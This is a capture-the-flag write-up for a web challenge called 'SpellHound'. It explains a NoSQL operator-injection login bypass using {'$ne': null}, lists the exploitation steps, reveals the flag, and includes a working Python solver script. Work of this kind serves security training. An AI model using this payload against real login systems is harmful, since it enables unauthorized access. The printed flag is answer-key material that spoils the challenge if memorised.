215 words
1 minute
SpellHound
SpellHound
Challenge Summary
- Challenge: SpellHound
- Category: Web
- Difficulty: Very Easy
- Target:
http://ctf.vulnbydefault.com:27299
Vulnerability
The login page explicitly hints that the portal accepts JSON.
When the /login endpoint receives JSON, it does not enforce plain string values for username and password.
That allows a NoSQL-style operator payload instead of normal credentials.
The working payload is:
{ "username": {"$ne": null}, "password": {"$ne": null}}This authenticates successfully and the returned homepage includes the flag in the welcome banner.
Exploitation Steps
- Open the challenge URL.
- Do not use the form login.
- Send a JSON request to
/loginwith the operator payload. - Follow the redirect to
/. - Read the flag from the page footer welcome text.
Why It Works
The backend appears to trust JSON objects during authentication rather than requiring scalar strings.
Using {"$ne": null} makes the login condition match an existing user record without knowing a real password.
Flag
VBD{nosqli_w1th_r3g3x_1s_c00l_7261e788b4475495baa28f69ceef813f}Solver Script
File: solve_spellhound.py
import reimport sys
import requests
def main() -> int: base_url = sys.argv[1] if len(sys.argv) > 1 else "http://ctf.vulnbydefault.com:27299" session = requests.Session()
payload = { "username": {"$ne": None}, "password": {"$ne": None}, }
login_response = session.post(f"{base_url}/login", json=payload, allow_redirects=False, timeout=15) if login_response.status_code not in (302, 303) or login_response.headers.get("Location") != "/": print(f"Unexpected login response: {login_response.status_code}") print(login_response.text) return 1
home_response = session.get(f"{base_url}/", timeout=15) match = re.search(r"VBD\{[^}]+\}", home_response.text) if not match: print("Flag not found in homepage response") print(home_response.text) return 2
print(match.group(0)) return 0
if __name__ == "__main__": raise SystemExit(main())Run
py -3.10 .\solve_spellhound.py http://ctf.vulnbydefault.com:27299